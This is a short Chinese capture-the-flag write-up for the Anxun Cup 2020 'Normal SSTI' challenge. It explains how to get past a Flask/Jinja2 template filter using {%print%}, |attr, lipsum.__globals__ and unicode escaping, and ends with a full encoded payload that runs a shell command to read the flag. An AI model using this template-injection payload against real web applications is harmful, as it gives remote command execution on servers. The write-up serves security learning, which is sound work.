[安洵杯 2020]Normal SSTI
- ssti
- unicode编码绕过
这个只要知道了用编码绕过就很好解
过滤了{{}}所以使用{%print()%}
因为.和[]被过滤,所以使用flask的|attr来调用方法
''|attr("__class__")等于
''.__class__
如果要使用xxx.os('xxx')类似的方法,可以使用
xxx|attr("os")('xxx')
使用flask里的lipsum方法,来执行命令
flask里的lipsum方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块
globals 使用方式是 函数名._globals_ 获取function所处空间下可使用的module、方法以及所有变量。
构造思路
lipsum|attr("__globals__").get("os").popen("ls").read()
因为__globals__返回的是字典,所以使用get来获取值
获取所以方法和module

获取os module

获取并使用popen()方法


使用read()得到str

payload:
test?url={%print((((lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f"))|attr("\u0067\u0065\u0074")("os"))|attr("\u0070\u006f\u0070\u0065\u006e")("\u0074\u0061\u0063\u0020\u002f\u0066\u002a"))|attr("\u0072\u0065\u0061\u0064")())%}

如何知道哪些字符串被过滤了呢
加载中...